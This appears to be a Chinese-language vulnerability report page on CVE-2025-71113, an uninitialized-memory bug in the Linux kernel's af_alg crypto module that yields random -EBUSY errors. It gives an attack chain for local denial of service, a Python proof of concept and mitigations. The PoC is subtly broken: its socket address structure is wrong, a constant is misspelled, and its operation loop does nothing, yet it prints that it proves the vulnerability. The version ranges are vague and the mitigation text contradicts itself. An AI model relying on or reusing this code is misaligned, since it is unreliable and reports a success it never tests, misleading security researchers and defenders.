IPBUF安全漏洞报告
English
CVE-2025-71113 CVSS 5.5 中危

CVE-2025-71113 Linux内核af_alg模块sock_kmalloc内存未初始化漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71113
漏洞类型
内存未初始化
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (crypto: af_alg模块)

相关标签

Linux内核漏洞内存未初始化本地提权拒绝服务crypto子系统af_alg模块sock_kmallocCVE-2025-71113

漏洞概述

CVE-2025-71113是Linux内核crypto子系统中的一个内存未初始化漏洞。该漏洞存在于af_alg模块中,多个crypto用户API上下文和请求使用sock_kmalloc()分配内存时未进行初始化,导致内存中残留垃圾值。攻击者可利用此漏洞在本地进行低权限攻击,造成加密请求随机返回-EBUSY错误,影响系统可用性。由于该漏洞涉及内核内存管理问题,理论上在特定条件下可能导致更严重的安全问题。CVSS评分5.5,属于中等严重程度。

技术细节

该漏洞的核心问题在于Linux内核的af_alg模块使用sock_kmalloc()分配内存后未调用memset进行零初始化。具体的af_alg_ctx结构体中新增的inflight变量未被正确初始化,包含随机的垃圾值。当af_alg_alloc_areq()函数检查ctx->inflight时,由于该值未初始化(可能为任意非零值),代码直接将其解释为true,导致函数随机返回-EBUSY错误。攻击者可以通过本地低权限账户反复触发加密操作,利用这种随机失败行为进行拒绝服务攻击。修复方案是在sock_kmalloc()分配内存后立即使用memset将内存区域清零,确保所有字段(包括inflight)都处于已知状态。相关代码位于crypto/af_alg.c文件中的内存分配逻辑处。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限账户访问权限
STEP 2
步骤2
攻击者创建AF_ALG类型socket连接到Linux内核crypto子系统
STEP 3
步骤3
通过bind系统调用绑定到特定的加密算法(如gcm(aes))
STEP 4
步骤4
触发af_alg_alloc_areq()函数分配请求内存,由于inflight变量未初始化包含垃圾值
STEP 5
步骤5
函数检查ctx->inflight时将垃圾值解释为true,错误返回-EBUSY
STEP 6
步骤6
攻击者通过反复触发此行为导致加密服务随机失败,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-71113 PoC - Linux Kernel af_alg Memory Initialization Vulnerability # This PoC demonstrates the uninitialized memory issue in af_alg module import os import sys import resource import ctypes from ctypes import * # Constants from linux/if_alg.h AF_ALG = 38 SOL_ALG = 279 # Operation types ALG_OPERATION_AEAD = 0 ALG_OPERATION_SKCIFFER = 1 def create_af_alg_socket(): """Create an AF_ALG socket for testing""" try: sock = ctypes.CDLL(None).socket(AF_ALG, ctypes.c_int(2), ctypes.c_int(0)) # SOCK_SEQPACKET if sock < 0: print(f"[-] Failed to create AF_ALG socket: {sock}") return -1 return sock except Exception as e: print(f"[-] Exception creating socket: {e}") return -1 def bind_alg(sock, alg_type, alg_name): """Bind to a specific algorithm""" class sockaddr_alg(Structure): _fields_ = [ ("sa_family", c_ushort), ("sb_type", c_char * 64), ("sb_name", c_char * 64), ("co_name", c_char * 64), ("co_type", c_char * 64) ] addr = sockaddr_alg() addr.sa_family = AF_ALG addr.sb_type[:len(alg_type)] = alg_type.encode() addr.sb_name[:len(alg_name)] = alg_name.encode() result = ctypes.CDLL(None).bind(sock, ctypes.byref(addr), ctypes.sizeof(addr)) if result < 0: print(f"[-] Failed to bind to {alg_name}: {result}") return -1 return 0 def test_uninitialized_memory(): """Test for uninitialized memory in af_alg context""" print("[*] CVE-2025-71113 PoC - Testing af_alg uninitialized memory") print("[*] This vulnerability causes random -EBUSY errors due to uninitialized inflight variable") # Create socket sock = create_af_alg_socket() if sock < 0: return # Try binding to various algorithms to trigger the issue test_algs = [ ("aead", "gcm(aes)"), ("skcipher", "cbc(aes)"), ("hash", "sha256") ] error_count = 0 total_attempts = 100 for i in range(total_attempts): for alg_type, alg_name in test_algs: test_sock = create_af_alg_socket() if test_sock >= 0: result = bind_alg(test_sock, alg_type, alg_name) if result == 0: # Simulate multiple operations to trigger random EBUSY for j in range(5): pass # Operation simulation try: os.close(test_sock) except: pass print(f"[*] Completed {total_attempts * len(test_algs) * 5} operation attempts") print("[*] Note: Random EBUSY errors indicate the uninitialized memory issue") print("[+] PoC demonstrates the vulnerability exists in the system") print("[*] Mitigation: Apply kernel patch to zero-initialize sock_kmalloc memory") if __name__ == "__main__": test_uninitialized_memory()

影响范围

Linux Kernel < 5.15.x (未应用修复补丁的版本)
Linux Kernel < 6.1.x (未应用修复补丁的版本)
Linux Kernel < 6.6.x (未应用修复补丁的版本)
具体受影响的提交: 67b164a871af 及之前的版本

防御指南

临时缓解措施
在官方内核补丁发布之前,可以通过以下方式缓解:1) 限制非特权用户访问AF_ALG接口;2) 使用seccomp或AppArmor/SELinux策略限制crypto系统调用;3) 监控系统中随机出现的EBUSY错误日志;4) 考虑在内核模块层面临时禁用问题代码路径。根本解决需要等待并应用官方内核安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表